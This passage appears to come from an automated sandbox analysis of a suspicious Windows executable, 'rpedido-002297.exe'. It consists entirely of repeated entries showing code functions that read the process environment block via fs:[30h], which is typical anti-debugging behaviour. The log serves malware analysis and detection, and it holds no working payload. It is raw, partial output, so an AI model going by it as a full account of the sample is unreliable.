Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251E1A4 mov eax, dword ptr fs:[00000030h]	1_2_3251E1A4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32515654 mov eax, dword ptr fs:[00000030h]	1_2_32515654
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD64A mov eax, dword ptr fs:[00000030h]	1_2_324DD64A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DD64A mov eax, dword ptr fs:[00000030h]	1_2_324DD64A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251265C mov eax, dword ptr fs:[00000030h]	1_2_3251265C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251265C mov ecx, dword ptr fs:[00000030h]	1_2_3251265C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251265C mov eax, dword ptr fs:[00000030h]	1_2_3251265C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E3640 mov eax, dword ptr fs:[00000030h]	1_2_324E3640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF640 mov eax, dword ptr fs:[00000030h]	1_2_324FF640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF640 mov eax, dword ptr fs:[00000030h]	1_2_324FF640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324FF640 mov eax, dword ptr fs:[00000030h]	1_2_324FF640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251C640 mov eax, dword ptr fs:[00000030h]	1_2_3251C640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251C640 mov eax, dword ptr fs:[00000030h]	1_2_3251C640
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E965A mov eax, dword ptr fs:[00000030h]	1_2_324E965A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E965A mov eax, dword ptr fs:[00000030h]	1_2_324E965A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32522670 mov eax, dword ptr fs:[00000030h]	1_2_32522670
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32522670 mov eax, dword ptr fs:[00000030h]	1_2_32522670
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F3660 mov eax, dword ptr fs:[00000030h]	1_2_324F3660
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F3660 mov eax, dword ptr fs:[00000030h]	1_2_324F3660
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F3660 mov eax, dword ptr fs:[00000030h]	1_2_324F3660
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D7662 mov eax, dword ptr fs:[00000030h]	1_2_324D7662
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D7662 mov eax, dword ptr fs:[00000030h]	1_2_324D7662
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D7662 mov eax, dword ptr fs:[00000030h]	1_2_324D7662
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256166E mov eax, dword ptr fs:[00000030h]	1_2_3256166E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256166E mov eax, dword ptr fs:[00000030h]	1_2_3256166E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256166E mov eax, dword ptr fs:[00000030h]	1_2_3256166E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251666D mov esi, dword ptr fs:[00000030h]	1_2_3251666D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251666D mov eax, dword ptr fs:[00000030h]	1_2_3251666D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251666D mov eax, dword ptr fs:[00000030h]	1_2_3251666D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E0670 mov eax, dword ptr fs:[00000030h]	1_2_324E0670
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250D600 mov eax, dword ptr fs:[00000030h]	1_2_3250D600
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250D600 mov eax, dword ptr fs:[00000030h]	1_2_3250D600
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32569603 mov eax, dword ptr fs:[00000030h]	1_2_32569603
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B4600 mov eax, dword ptr fs:[00000030h]	1_2_325B4600
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F607 mov eax, dword ptr fs:[00000030h]	1_2_3259F607
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251360F mov eax, dword ptr fs:[00000030h]	1_2_3251360F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32573608 mov eax, dword ptr fs:[00000030h]	1_2_32573608
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32510630 mov eax, dword ptr fs:[00000030h]	1_2_32510630
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32568633 mov esi, dword ptr fs:[00000030h]	1_2_32568633
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32568633 mov eax, dword ptr fs:[00000030h]	1_2_32568633
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32568633 mov eax, dword ptr fs:[00000030h]	1_2_32568633
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E5622 mov eax, dword ptr fs:[00000030h]	1_2_324E5622
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E5622 mov eax, dword ptr fs:[00000030h]	1_2_324E5622
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E7623 mov eax, dword ptr fs:[00000030h]	1_2_324E7623
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251F63F mov eax, dword ptr fs:[00000030h]	1_2_3251F63F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251F63F mov eax, dword ptr fs:[00000030h]	1_2_3251F63F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251C620 mov eax, dword ptr fs:[00000030h]	1_2_3251C620
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258D62C mov ecx, dword ptr fs:[00000030h]	1_2_3258D62C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258D62C mov ecx, dword ptr fs:[00000030h]	1_2_3258D62C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258D62C mov eax, dword ptr fs:[00000030h]	1_2_3258D62C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E0630 mov eax, dword ptr fs:[00000030h]	1_2_324E0630
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250D6D0 mov eax, dword ptr fs:[00000030h]	1_2_3250D6D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E06CF mov eax, dword ptr fs:[00000030h]	1_2_324E06CF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AA6C0 mov eax, dword ptr fs:[00000030h]	1_2_325AA6C0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325886C2 mov eax, dword ptr fs:[00000030h]	1_2_325886C2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255C6F2 mov eax, dword ptr fs:[00000030h]	1_2_3255C6F2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255C6F2 mov eax, dword ptr fs:[00000030h]	1_2_3255C6F2
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D96E0 mov eax, dword ptr fs:[00000030h]	1_2_324D96E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D96E0 mov eax, dword ptr fs:[00000030h]	1_2_324D96E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324EC6E0 mov eax, dword ptr fs:[00000030h]	1_2_324EC6E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E56E0 mov eax, dword ptr fs:[00000030h]	1_2_324E56E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E56E0 mov eax, dword ptr fs:[00000030h]	1_2_324E56E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E56E0 mov eax, dword ptr fs:[00000030h]	1_2_324E56E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325066E0 mov eax, dword ptr fs:[00000030h]	1_2_325066E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325066E0 mov eax, dword ptr fs:[00000030h]	1_2_325066E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256C691 mov eax, dword ptr fs:[00000030h]	1_2_3256C691
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255D69D mov eax, dword ptr fs:[00000030h]	1_2_3255D69D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0680 mov eax, dword ptr fs:[00000030h]	1_2_324F0680
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F68C mov eax, dword ptr fs:[00000030h]	1_2_3259F68C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E8690 mov eax, dword ptr fs:[00000030h]	1_2_324E8690
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A86A8 mov eax, dword ptr fs:[00000030h]	1_2_325A86A8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A86A8 mov eax, dword ptr fs:[00000030h]	1_2_325A86A8
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251A750 mov eax, dword ptr fs:[00000030h]	1_2_3251A750
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov eax, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov eax, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov eax, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov ecx, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov eax, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32502755 mov eax, dword ptr fs:[00000030h]	1_2_32502755
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3258E750 mov eax, dword ptr fs:[00000030h]	1_2_3258E750
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32513740 mov eax, dword ptr fs:[00000030h]	1_2_32513740
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DF75B mov eax, dword ptr fs:[00000030h]	1_2_324DF75B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251174A mov eax, dword ptr fs:[00000030h]	1_2_3251174A
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256174B mov eax, dword ptr fs:[00000030h]	1_2_3256174B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256174B mov ecx, dword ptr fs:[00000030h]	1_2_3256174B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32510774 mov eax, dword ptr fs:[00000030h]	1_2_32510774
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F2760 mov ecx, dword ptr fs:[00000030h]	1_2_324F2760
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32521763 mov eax, dword ptr fs:[00000030h]	1_2_32521763
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E4779 mov eax, dword ptr fs:[00000030h]	1_2_324E4779
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E4779 mov eax, dword ptr fs:[00000030h]	1_2_324E4779
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E170C mov eax, dword ptr fs:[00000030h]	1_2_324E170C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E170C mov eax, dword ptr fs:[00000030h]	1_2_324E170C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E170C mov eax, dword ptr fs:[00000030h]	1_2_324E170C
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB705 mov eax, dword ptr fs:[00000030h]	1_2_324DB705
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB705 mov eax, dword ptr fs:[00000030h]	1_2_324DB705
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB705 mov eax, dword ptr fs:[00000030h]	1_2_324DB705
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB705 mov eax, dword ptr fs:[00000030h]	1_2_324DB705
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED700 mov ecx, dword ptr fs:[00000030h]	1_2_324ED700
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F717 mov eax, dword ptr fs:[00000030h]	1_2_3259F717
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A970B mov eax, dword ptr fs:[00000030h]	1_2_325A970B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325A970B mov eax, dword ptr fs:[00000030h]	1_2_325A970B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E471B mov eax, dword ptr fs:[00000030h]	1_2_324E471B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E471B mov eax, dword ptr fs:[00000030h]	1_2_324E471B
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250270D mov eax, dword ptr fs:[00000030h]	1_2_3250270D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250270D mov eax, dword ptr fs:[00000030h]	1_2_3250270D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250270D mov eax, dword ptr fs:[00000030h]	1_2_3250270D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32509723 mov eax, dword ptr fs:[00000030h]	1_2_32509723
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F7CF mov eax, dword ptr fs:[00000030h]	1_2_3259F7CF
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E37E4 mov eax, dword ptr fs:[00000030h]	1_2_324E37E4
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E7E0 mov eax, dword ptr fs:[00000030h]	1_2_3250E7E0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E77F9 mov eax, dword ptr fs:[00000030h]	1_2_324E77F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E77F9 mov eax, dword ptr fs:[00000030h]	1_2_324E77F9
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32511796 mov eax, dword ptr fs:[00000030h]	1_2_32511796
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32511796 mov eax, dword ptr fs:[00000030h]	1_2_32511796
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3255E79D mov eax, dword ptr fs:[00000030h]	1_2_3255E79D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB781 mov eax, dword ptr fs:[00000030h]	1_2_325BB781
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325BB781 mov eax, dword ptr fs:[00000030h]	1_2_325BB781
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325B17BC mov eax, dword ptr fs:[00000030h]	1_2_325B17BC
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E07A7 mov eax, dword ptr fs:[00000030h]	1_2_324E07A7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AD7A7 mov eax, dword ptr fs:[00000030h]	1_2_325AD7A7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AD7A7 mov eax, dword ptr fs:[00000030h]	1_2_325AD7A7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AD7A7 mov eax, dword ptr fs:[00000030h]	1_2_325AD7A7
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251D450 mov eax, dword ptr fs:[00000030h]	1_2_3251D450
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3251D450 mov eax, dword ptr fs:[00000030h]	1_2_3251D450
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324F0445 mov eax, dword ptr fs:[00000030h]	1_2_324F0445
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E45E mov eax, dword ptr fs:[00000030h]	1_2_3250E45E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E45E mov eax, dword ptr fs:[00000030h]	1_2_3250E45E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E45E mov eax, dword ptr fs:[00000030h]	1_2_3250E45E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E45E mov eax, dword ptr fs:[00000030h]	1_2_3250E45E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250E45E mov eax, dword ptr fs:[00000030h]	1_2_3250E45E
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32560443 mov eax, dword ptr fs:[00000030h]	1_2_32560443
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324ED454 mov eax, dword ptr fs:[00000030h]	1_2_324ED454
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F478 mov eax, dword ptr fs:[00000030h]	1_2_3259F478
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E8470 mov eax, dword ptr fs:[00000030h]	1_2_324E8470
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324E8470 mov eax, dword ptr fs:[00000030h]	1_2_324E8470
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325AA464 mov eax, dword ptr fs:[00000030h]	1_2_325AA464
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324D640D mov eax, dword ptr fs:[00000030h]	1_2_324D640D
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3259F409 mov eax, dword ptr fs:[00000030h]	1_2_3259F409
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32576400 mov eax, dword ptr fs:[00000030h]	1_2_32576400
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32576400 mov eax, dword ptr fs:[00000030h]	1_2_32576400
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_324DB420 mov eax, dword ptr fs:[00000030h]	1_2_324DB420
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32517425 mov eax, dword ptr fs:[00000030h]	1_2_32517425
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32517425 mov ecx, dword ptr fs:[00000030h]	1_2_32517425
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256F42F mov eax, dword ptr fs:[00000030h]	1_2_3256F42F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256F42F mov eax, dword ptr fs:[00000030h]	1_2_3256F42F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256F42F mov eax, dword ptr fs:[00000030h]	1_2_3256F42F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256F42F mov eax, dword ptr fs:[00000030h]	1_2_3256F42F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3256F42F mov eax, dword ptr fs:[00000030h]	1_2_3256F42F
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_32569429 mov eax, dword ptr fs:[00000030h]	1_2_32569429
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_3250F4D0 mov eax, dword ptr fs:[00000030h]	1_2_3250F4D0
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325044D1 mov eax, dword ptr fs:[00000030h]	1_2_325044D1
Source: C:\Users\user\Desktop\rpedido-002297.exe	Code function: 1_2_325044D1 mov eax, dword ptr fs:[00000030h]	1_2_325044D1
